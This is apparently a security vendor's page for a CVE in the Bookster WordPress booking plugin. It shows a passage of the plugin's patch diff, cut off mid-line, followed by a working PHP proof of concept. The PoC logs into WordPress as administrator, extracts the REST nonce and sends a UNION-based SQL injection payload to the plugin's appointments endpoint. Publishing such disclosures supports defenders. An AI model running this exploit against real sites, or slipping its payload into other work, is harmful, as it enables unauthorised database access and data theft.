         $this->quantity   = $quantity;
         $this->unit_price = $unit_price;
         $this->amount     = $amount;
+        $this->meta       = $meta;
     }

     public static function from_json( array $item_json ): BookingItem {
-        return new BookingItem( $item_json['id'], $item_json['title'], $item_json['quantity'], Decimal::from_number( $item_json['unitPrice'] ), Decimal::from_number( $item_json['amount'] ) );
+        return new BookingItem(
+            $item_json['id'],
+            $item_json['title'],
+            $item_json['quantity'],
+            Decimal::from_number( $item_json['unitPrice'] ),
+            Decimal::from_number( $item_json['amount'] ),
+            isset( $item_json['meta'] ) ? $item_json['meta'] : null
+        );
     }

     public function to_json(): array {
--- a/bookster/src/Features/Constants/AddonData.php
+++ b/bookster/src/Features/Constants/AddonData.php
@@ -10,164 +10,156 @@

     const SUPPORTED_ADDONS = [
         [
-            'slug'          => 'bookster-stripe',
-            'title'         => 'Payment Gateway Stripe',
-            'description'   => 'Accept Payment with Stripe Gateway.',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/payment.jpg',
-            'tags'          => [ 'Payment', 'Integration' ],
-            'releaseStatus' => AddonStatusEnum::RELEASED,
-        ],
-        [
-            'slug'          => 'bookster-paypal',
-            'title'         => 'Payment Gateway Paypal',
-            'description'   => 'Accept Payment with Paypal Gateway.',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/payment.jpg',
-            'tags'          => [ 'Payment', 'Integration' ],
-            'releaseStatus' => AddonStatusEnum::RELEASED,
-        ],
-        [
-            'slug'          => 'bookster-taxation',
-            'title'         => 'Tax',
-            'description'   => 'Calculate Tax Rates for Services and Appointments.',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/pricing.jpg',
-            'tags'          => [ 'Booking' ],
-            'releaseStatus' => AddonStatusEnum::RELEASED,
-        ],
-        [
-            'slug'          => 'bookster-discounts-fees',
-            'title'         => 'Discounts and Fees',
-            'description'   => 'Add Discounts, Fees, Happy Hours, and more to your Customers.',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/pricing.jpg',
-            'tags'          => [ 'Booking' ],
-            'releaseStatus' => AddonStatusEnum::RELEASED,
-        ],
-        [
-            'slug'          => 'bookster-extra-options',
-            'title'         => 'Bookster Extra Options',
-            'description'   => 'Offer Extra Products, Equipment, Variances to your Customers with Additional Fees.',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/addon.jpg',
-            'tags'          => [ 'Booking' ],
-            'releaseStatus' => AddonStatusEnum::RELEASED,
-        ],
-        [
-            'slug'          => 'bookster-custom-fields',
-            'title'         => 'Custom Fields',
-            'description'   => 'Gather Additional Information from your Customers with Custom Fields.',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/addon.jpg',
-            'tags'          => [ 'Booking' ],
-            'releaseStatus' => AddonStatusEnum::RELEASED,
-        ],
-        [
-            'slug'          => 'bookster-themes',
-            'title'         => 'Themes',
-            'description'   => 'Customize the Look and Feel of your Booking Page.',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/design.jpg',
-            'tags'          => [ 'Design', 'Customize' ],
-            'releaseStatus' => AddonStatusEnum::RELEASED,
-        ],
-        [
-            'slug'          => 'bookster-location',
-            'title'         => 'Location',
-            'description'   => 'Offer Services at Multiple Locations with Maps Integration.',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/addon.jpg',
-            'tags'          => [ 'Booking' ],
-            'releaseStatus' => AddonStatusEnum::COMING_SOON,
-        ],
-        [
-            'slug'          => 'bookster-reminder',
-            'title'         => 'Reminder',
-            'description'   => 'Send Reminder Emails to your Customers for their Appointments.',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/notification.jpg',
-            'tags'          => [ 'Integration' ],
-            'releaseStatus' => AddonStatusEnum::COMING_SOON,
-        ],
-        [
-            'slug'          => 'bookster-process',
-            'title'         => 'Booking Process',
-            'description'   => 'Change the Steps Order, Auto select specific Services, Agents, and Locations.',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/addon.jpg',
-            'tags'          => [ 'Booking' ],
-            'releaseStatus' => AddonStatusEnum::COMING_SOON,
-        ],
-        [
-            'slug'          => 'bookster-template',
-            'title'         => 'Booking Template',
-            'description'   => 'Customize each booking form step Layout, and Design.',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/design.jpg',
-            'tags'          => [ 'Design' ],
-            'releaseStatus' => AddonStatusEnum::COMING_SOON,
-        ],
-        [
-            'slug'          => 'bookster-deposit',
-            'title'         => 'Deposit Payment',
-            'description'   => 'Accept partial payment from your Customers.',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/payment.jpg',
-            'tags'          => [ 'Booking', 'Payment' ],
-            'releaseStatus' => AddonStatusEnum::COMING_SOON,
-        ],
-        [
-            'slug'          => 'bookster-quickstart',
-            'title'         => 'Quickstart',
-            'description'   => 'Import prebuilt templates to your Booking website, and get started in minutes.',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/design.jpg',
-            'tags'          => [ 'Design' ],
-            'releaseStatus' => AddonStatusEnum::COMING_SOON,
-        ],
-        [
-            'slug'          => 'bookster-coupon',
-            'title'         => 'Coupon',
-            'description'   => 'Offer Coupons to your Customers with Discounts and Special Offers.',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/coupon.jpg',
-            'tags'          => [ 'Booking', 'Marketing' ],
-            'releaseStatus' => AddonStatusEnum::COMING_SOON,
-        ],
-        [
-            'slug'          => 'bookster-group',
-            'title'         => 'Group Booking',
-            'description'   => 'Timeslot accepts multiple bookings. Useful for classes, workshops, and events.',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/addon.jpg',
-            'tags'          => [ 'Booking' ],
-            'releaseStatus' => AddonStatusEnum::COMING_SOON,
-        ],
-        [
-            'slug'          => 'bookster-toolkit-block',
-            'title'         => 'Design Toolkit Block Editor',
-            'description'   => 'Design Toolkit for Block Editor. Various Patterns, Blocks to Design your Booking Page.',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/design.jpg',
-            'tags'          => [ 'Design' ],
-            'releaseStatus' => AddonStatusEnum::COMING_SOON,
-        ],
-        [
-            'slug'          => 'bookster-toolkit-elementor',
-            'title'         => 'Design Toolkit Elementor',
-            'description'   => 'Design Toolkit for Elementor. Various Template, Widgets to Design your Booking Page.',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/design.jpg',
-            'tags'          => [ 'Design' ],
-            'releaseStatus' => AddonStatusEnum::COMING_SOON,
-        ],
-        [
-            'slug'          => 'bookster-google',
-            'title'         => 'Google Calendar and Meet',
-            'description'   => 'Sync Agent Bookings with Google Calendar and Meet.',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/addon.jpg',
-            'tags'          => [ 'Integration' ],
-            'releaseStatus' => AddonStatusEnum::COMING_SOON,
-        ],
-        [
-            'slug'          => 'bookster-twilio',
-            'title'         => 'SMS Notifications via Twilio',
-            'description'   => 'Support SMS Notifications with Twilio',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/notification.jpg',
-            'tags'          => [ 'Integration' ],
-            'releaseStatus' => AddonStatusEnum::COMING_SOON,
-        ],
-        [
-            'slug'          => 'bookster-webhook',
-            'title'         => 'Webhook',
-            'description'   => 'Integrate with external functionalities using Webhook.',
-            'cover'         => BOOKSTER_PLUGIN_URL . 'assets/images/addons-cover/addon.jpg',
-            'tags'          => [ 'Integration' ],
-            'releaseStatus' => AddonStatusEnum::COMING_SOON,
+            'slug'           => 'bookster-template',
+            'title'          => 'Booking Template',
+            'description'    => 'Customize each booking form step Layout, and Design.',
+            'tags'           => [ 'Design', 'Customize' ],
+            'releaseStatus'  => AddonStatusEnum::RELEASED,
+            'logo'           => BOOKSTER_PLUGIN_URL . 'assets/images/logos/addons/bookster-template.svg',
+            'currentVersion' => '2.2.0',
+        ],
+        [
+            'slug'           => 'bookster-discounts-fees',
+            'title'          => 'Discounts, Coupons and Fees',
+            'description'    => 'Add Discounts, Coupons, Special Offers, Fees, Happy Hours, and more to your Customers.',
+            'tags'           => [ 'Booking', 'Marketing' ],
+            'releaseStatus'  => AddonStatusEnum::RELEASED,
+            'logo'           => BOOKSTER_PLUGIN_URL . 'assets/images/logos/addons/bookster-discounts-fees.svg',
+            'currentVersion' => '2.2.0',
+        ],
+        [
+            'slug'           => 'bookster-extra-options',
+            'title'          => 'Bookster Extra Options',
+            'description'    => 'Offer Extra Products, Equipment, Variances to your Customers with Additional Fees.',
+            'tags'           => [ 'Booking' ],
+            'releaseStatus'  => AddonStatusEnum::RELEASED,
+            'logo'           => BOOKSTER_PLUGIN_URL . 'assets/images/logos/addons/bookster-extra-options.svg',
+            'currentVersion' => '2.2.0',
+        ],
+        [
+            'slug'           => 'bookster-stripe',
+            'title'          => 'Payment Gateway Stripe',
+            'description'    => 'Accept Payment with Stripe Gateway.',
+            'tags'           => [ 'Payment', 'Integration' ],
+            'releaseStatus'  => AddonStatusEnum::RELEASED,
+            'eddItemId'      => 15389,
+            'logo'           => BOOKSTER_PLUGIN_URL . 'assets/images/logos/addons/bookster-stripe.svg',
+            'currentVersion' => '2.2.0',
+        ],
+        [
+            'slug'           => 'bookster-paypal',
+            'title'          => 'Payment Gateway Paypal',
+            'description'    => 'Accept Payment with Paypal Gateway.',
+            'tags'           => [ 'Payment', 'Integration' ],
+            'releaseStatus'  => AddonStatusEnum::RELEASED,
+            'logo'           => BOOKSTER_PLUGIN_URL . 'assets/images/logos/addons/bookster-paypal.svg',
+            'currentVersion' => '2.2.0',
+        ],
+        [
+            'slug'           => 'bookster-process',
+            'title'          => 'Booking Process',
+            'description'    => 'Change the Steps Order, Auto select specific Services, Agents, and Locations.',
+            'tags'           => [ 'Booking' ],
+            'releaseStatus'  => AddonStatusEnum::RELEASED,
+            'eddItemId'      => 17007,
+            'logo'           => BOOKSTER_PLUGIN_URL . 'assets/images/logos/addons/bookster-process.svg',
+            'currentVersion' => '2.2.0',
+        ],
+        [
+            'slug'           => 'bookster-taxation',
+            'title'          => 'Tax',
+            'description'    => 'Calculate Tax Rates for Services and Appointments.',
+            'tags'           => [ 'Booking' ],
+            'releaseStatus'  => AddonStatusEnum::RELEASED,
+            'logo'           => BOOKSTER_PLUGIN_URL . 'assets/images/logos/addons/bookster-taxation.svg',
+            'currentVersion' => '2.2.0',
+        ],
+        [
+            'slug'           => 'bookster-custom-fields',
+            'title'          => 'Custom Fields',
+            'description'    => 'Gather Additional Information from your Customers with Custom Fields.',
+            'tags'           => [ 'Booking' ],
+            'releaseStatus'  => AddonStatusEnum::RELEASED,
+            'eddItemId'      => 16091,
+            'logo'           => BOOKSTER_PLUGIN_URL . 'assets/images/logos/addons/bookster-custom-fields.svg',
+            'currentVersion' => '2.2.0',
+        ],
+        [
+            'slug'           => 'bookster-location',
+            'title'          => 'Location',
+            'description'    => 'Offer Services at Multiple Locations with Maps Integration.',
+            'tags'           => [ 'Booking' ],
+            'releaseStatus'  => AddonStatusEnum::RELEASED,
+            'eddItemId'      => 16113,
+            'logo'           => BOOKSTER_PLUGIN_URL . 'assets/images/logos/addons/bookster-location.svg',
+            'currentVersion' => '2.2.0',
+        ],
+        [
+            'slug'           => 'bookster-reminder',
+            'title'          => 'Reminder',
+            'description'    => 'Send Reminder Emails to your Customers for their Appointments.',
+            'tags'           => [ 'Integration' ],
+            'releaseStatus'  => AddonStatusEnum::RELEASED,
+            'eddItemId'      => 17208,
+            'logo'           => BOOKSTER_PLUGIN_URL . 'assets/images/logos/addons/bookster-reminder.svg',
+            'currentVersion' => '2.2.0',
+        ],
+        [
+            'slug'           => 'bookster-group',
+            'title'          => 'Group Booking',
+            'description'    => 'Timeslot accepts multiple bookings. Useful for classes, workshops, and events.',
+            'tags'           => [ 'Booking' ],
+            'releaseStatus'  => AddonStatusEnum::RELEASED,
+            'eddItemId'      => 17190,
+            'logo'           => BOOKSTER_PLUGIN_URL . 'assets/images/logos/addons/bookster-group.svg',
+            'currentVersion' => '2.2.0',
+        ],
+        [
+            'slug'           => 'bookster-google',
+            'title'          => 'Google Calendar and Meet',
+            'description'    => 'Sync Agent Bookings with Google Calendar and Meet.',
+            'tags'           => [ 'Integration' ],
+            'releaseStatus'  => AddonStatusEnum::RELEASED,
+            'eddItemId'      => 17168,
+            'logo'           => BOOKSTER_PLUGIN_URL . 'assets/images/logos/addons/bookster-google.svg',
+            'currentVersion' => '2.2.0',
+        ],
+        [
+            'slug'           => 'bookster-twilio',
+            'title'          => 'SMS Notifications via Twilio',
+            'description'    => 'Support SMS Notifications with Twilio',
+            'tags'           => [ 'Integration' ],
+            'releaseStatus'  => AddonStatusEnum::RELEASED,
+            'eddItemId'      => 17231,
+            'logo'           => BOOKSTER_PLUGIN_URL . 'assets/images/logos/addons/bookster-twilio.svg',
+            'currentVersion' => '2.2.0',
+        ],
+        [
+            'slug'           => 'bookster-features',
+            'title'          => 'Advanced Features',
+            'description'    => 'Enable recaptcha, brand logo, timezone selector, and more for your booking system.',
+            'tags'           => [ 'Booking', 'Customize' ],
+            'releaseStatus'  => AddonStatusEnum::RELEASED,
+            'logo'           => BOOKSTER_PLUGIN_URL . 'assets/images/logos/addons/bookster-quickstart.svg',
+            'currentVersion' => '2.2.0',
+        ],
+        [
+            'slug'           => 'bookster-toolkit-block',
+            'title'          => 'Design Toolkit Block Editor',
+            'description'    => 'Design Toolkit for Block Editor. Various Patterns, Blocks to Design your Booking Page.',
+            'tags'           => [ 'Design' ],
+            'releaseStatus'  => AddonStatusEnum::COMING_SOON,
+            'logo'           => BOOKSTER_PLUGIN_URL . 'assets/images/logos/addons/bookster-toolkit-block.svg',
+            'currentVersion' => '2.2.0',
+        ],
+        [
+            'slug'           => 'bookster-toolkit-elementor',
+            'title'          => 'Design Toolkit Elementor',
+            'description'    => 'Design Toolkit for Elementor. Various Template, Widgets to Design your Booking Page.',
+            'tags'           => [ 'Design' ],
+            'releaseStatus'  => AddonStatusEnum::COMING_SOON,
+            'logo'           => BOOKSTER_PLUGIN_URL . 'assets/images/logos/addons/bookster-toolkit-elementor.svg',
+            'currentVersion' => '2.2.0',
         ],
     ];
 }
--- a/bookster/src/Features/Constants/DataKey.php
+++ b/bookster/src/Features/Constants/DataKey.php
@@ -0,0 +1,9 @@
+<?php
+namespace BooksterFeaturesConstants;
+
+/**
+ * Keys to save data across the core and add-ons
+ */
+class DataKey {
+    const BOOKING_META_PREVIEW_CODE = 'preview_code';
+}
--- a/bookster/src/Features/Constants/SettingsData.php
+++ b/bookster/src/Features/Constants/SettingsData.php
@@ -150,6 +150,11 @@
         ],
     ];

+    const DEFAULT_ACCOUNT_SETTINGS = [
+        'enable_guest_booking'               => true,
+        'allow_account_create_after_booking' => true,
+    ];
+
     public static function get_default_holidays_settings() {
         return [
             'every_year'    => null,
@@ -182,11 +187,11 @@
                         'description' => __( 'Please enter your payment information', 'bookster' ),
                     ],
                     'confirmation' => [
-                        'title'       => __( 'Confimation', 'bookster' ),
-                        'description' => __( 'Your appointment has been booked', 'bookster' ),
+                        'title'       => __( 'Booking Confirmed.', 'bookster' ),
+                        'description' => __( 'Your yoga appointment has been successfully book.', 'bookster' ),
                     ],
                 ],
-                'help'  => __( 'Need help? Call Us Now', 'bookster' ),
+                'help'  => __( 'Call Us Now', 'bookster' ),
             ],
         ];
     }
--- a/bookster/src/Features/Email/EmailLoader/ApptNoticeEmailLoader.php
+++ b/bookster/src/Features/Email/EmailLoader/ApptNoticeEmailLoader.php
@@ -1,9 +1,11 @@
 <?php
 namespace BooksterFeaturesEmailEmailLoader;

+use BooksterServicesBookingsService;
 use BooksterServicesPaymentService;
 use BooksterServicesSettingsService;
 use BooksterServicesFormatService;
+use BooksterServicesAppointmentPreviewService;
 use BooksterFeaturesEmailEmailLoader;
 use BooksterModelsAppointmentModel;
 use BooksterModelsBookingModel;
@@ -21,7 +23,7 @@
 class ApptNoticeEmailLoader implements EmailLoader {

     /** @var array */
-    protected $placeholders;
+    public $placeholders;

     /** @var AppointmentModel */
     protected $appointment;
@@ -35,21 +37,25 @@
     protected $customer;

     /** @var GeneralOptions */
-    protected $general_options;
+    public $general_options;
     /** @var TemplateOptions */
-    protected $template_options;
+    public $template_options;

     /** @var string[] */
     protected $recipients;
     /** @var array */
     protected $headers;

+    /** @var BookingsService */
+    protected $bookings_service;
     /** @var PaymentService */
     protected $payment_service;
     /** @var SettingsService */
     protected $settings_service;
     /** @var FormatService */
     protected $format_service;
+    /** @var AppointmentPreviewService */
+    protected $appointment_preview_service;

     /**
      * @param AppointmentModel $appointment
@@ -61,9 +67,11 @@
      * @param array            $headers
      */
     public function __construct( $appointment, $booking, $general_options, $template_options, $recipients, $copy_recipients = [], $headers = [] ) {
-        $this->payment_service  = PaymentService::get_instance();
-        $this->settings_service = SettingsService::get_instance();
-        $this->format_service   = FormatService::get_instance();
+        $this->bookings_service            = BookingsService::get_instance();
+        $this->payment_service             = PaymentService::get_instance();
+        $this->settings_service            = SettingsService::get_instance();
+        $this->format_service              = FormatService::get_instance();
+        $this->appointment_preview_service = AppointmentPreviewService::get_instance();

         $this->appointment = $appointment;
         $this->booking     = $booking;
@@ -88,7 +96,9 @@
     }

     protected function load_placeholders() {
-        $this->placeholders               = array_merge( $this->get_site_placeholders(), $this->get_appointment_placeholders() );
+        $placeholders       = array_merge( $this->get_site_placeholders(), $this->get_appointment_placeholders() );
+        $this->placeholders = apply_filters( 'bookster_appt_notice_email_loader_placeholders', $placeholders, $this );
+
         $text_placeholders                = $this->placeholders;
         $text_placeholders['{site_link}'] = $this->placeholders['Atomic Edge'];
         $text_placeholders['{Bookster}']  = 'Bookster';
@@ -122,8 +132,13 @@
             '{appt_datetime}'  => $appt_datetime,
             '{service_name}'   => $this->appointment->service->name,

-            '{customer_name}'  => $this->customer->first_name . ' ' . $this->customer->last_name,
+            '{customer_name}'  => trim( $this->customer->first_name . ' ' . $this->customer->last_name ),
+            '{customer_email}' => $this->customer->email,
+            '{customer_phone}' => $this->customer->phone,
+
             '{agent_name}'     => $this->agent->first_name . ' ' . $this->agent->last_name,
+            '{agent_email}'    => $this->agent->email,
+            '{agent_phone}'    => $this->agent->phone,

             '{book_status}'    => $this->appointment->book_status,
             '{payment_status}' => $this->booking->payment_status,
@@ -136,8 +151,6 @@
      * @return string
      */
     protected function get_appt_url() {
-        $customer_dashboard_page_id = $this->settings_service->get_permissions_settings()['customer_dashboard_page_id'];
-
         switch ( $this->template_options->notice_event ) {
             case 'new_booking_manager':
                 return admin_url(
@@ -153,12 +166,10 @@

             case 'new_pending_booking_customer':
             case 'approved_appt_customer':
+            case 'canceled_appt_customer':
             case 'manual_resend_appt_customer':
             default:
-                return ( null !== $customer_dashboard_page_id
-                    ? get_permalink( $customer_dashboard_page_id ) . '#/?apptId=' . $this->appointment->appointment_id
-                    : home_url() );
-
+                return $this->appointment_preview_service->get_appt_url_for_custome

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-8781 - Bookster – WordPress Appointment Booking Plugin <= 2.1.1 - Authenticated (Administrator+) SQL Injection via 'raw'

<?php
/**
 * Proof of Concept for CVE-2025-8781
 * Requires administrator credentials for the target WordPress site
 */

$target_url = 'https://example.com';
$username = 'admin';
$password = 'password';

// Step 1: Authenticate to WordPress and obtain nonce
function get_wp_rest_nonce($target_url, $username, $password) {
    $login_url = $target_url . '/wp-login.php';
    $admin_url = $target_url . '/wp-admin/';
    
    // Create a cookie jar for session persistence
    $cookie_file = tempnam(sys_get_temp_dir(), 'cve_2025_8781_');
    
    // Perform WordPress login
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $login_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'log' => $username,
            'pwd' => $password,
            'wp-submit' => 'Log In',
            'redirect_to' => $admin_url,
            'testcookie' => '1'
        ]),
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    ]);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    // Extract REST nonce from admin page
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $admin_url,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    ]);
    
    $admin_page = curl_exec($ch);
    curl_close($ch);
    
    // Look for REST nonce in page
    if (preg_match('/"rest_nonce":"([a-f0-9]+)"/', $admin_page, $matches)) {
        return ['nonce' => $matches[1], 'cookies' => $cookie_file];
    }
    
    return false;
}

// Step 2: Execute SQL injection via the vulnerable endpoint
function exploit_sql_injection($target_url, $nonce, $cookie_file) {
    $endpoint = $target_url . '/wp-json/bookster/v1/appointments';
    
    // SQL injection payload to extract database version
    $payload = json_encode([
        'raw' => "1' UNION SELECT 1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,365,366,367,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,398,399,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440,441,442,443,444,445,446,447,448,449,450,451,452,453,454,455,456,457,458,459,460,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,476,477,478,479,480,481,482,483,484,485,486,487,488,489,490,491,492,493,494,495,496,497,498,499,500,501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,571,572,573,574,575,576,577,578,579,580,581,582,583,584,585,586,587,588,589,590,591,592,593,594,595,596,597,598,599,600,601,602,603,604,605,606,607,608,609,610,611,612,613,614,615,616,617,618,619,620,621,622,623,624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,640,641,642,643,644,645,646,647,648,649,650,651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,671,672,673,674,675,676,677,678,679,680,681,682,683,684,685,686,687,688,689,690,691,692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718,719,720,721,722,723,724,725,726,727,728,729,730,731,732,733,734,735,736,737,738,739,740,741,742,743,744,745,746,747,748,749,750,751,752,753,754,755,756,757,758,759,760,761,762,763,764,765,766,767,768,769,770,771,772,773,774,775,776,777,778,779,780,781,782,783,784,785,786,787,788,789,790,791,792,793,794,795,796,797,798,799,800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,896,897,898,899,900,901,902,903,904,905,906,907,908,909,910,911,912,913,914,915,916,917,918,919,920,921,922,923,924,925,926,927,928,929,930,931,932,933,934,935,936,937,938,939,940,941,942,943,944,945,946,947,948,949,950,951,952,953,954,955,956,957,958,959,960,961,962,963,964,965,966,967,968,969,970,971,972,973,974,975,976,977,978,979,980,981,982,983,984,985,986,987,988,989,990,991,992,993,994,995,996,997,998,999,1000-- "
    ]);
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $endpoint,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $payload,
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/json',
            'X-WP-Nonce: ' . $nonce,
            'Accept: application/json'
        ],
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return ['code' => $http_code, 'response' => $response];
}

// Main execution
$auth = get_wp_rest_nonce($target_url, $username, $password);

if ($auth) {
    echo "[+] Authentication successfuln";
    echo "[+] REST nonce obtained: " . $auth['nonce'] . "n";
    
    $result = exploit_sql_injection($target_url, $auth['nonce'], $auth['cookies']);
    
    echo "[+] HTTP Response Code: " . $result['code'] . "n";
    echo "[+] Response Body:n" . $result['response'] . "n";
    
    // Clean up cookie file
    if (file_exists($auth['cookies'])) {
        unlink($auth['cookies']);
    }
} else {
    echo "[-] Authentication failedn";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School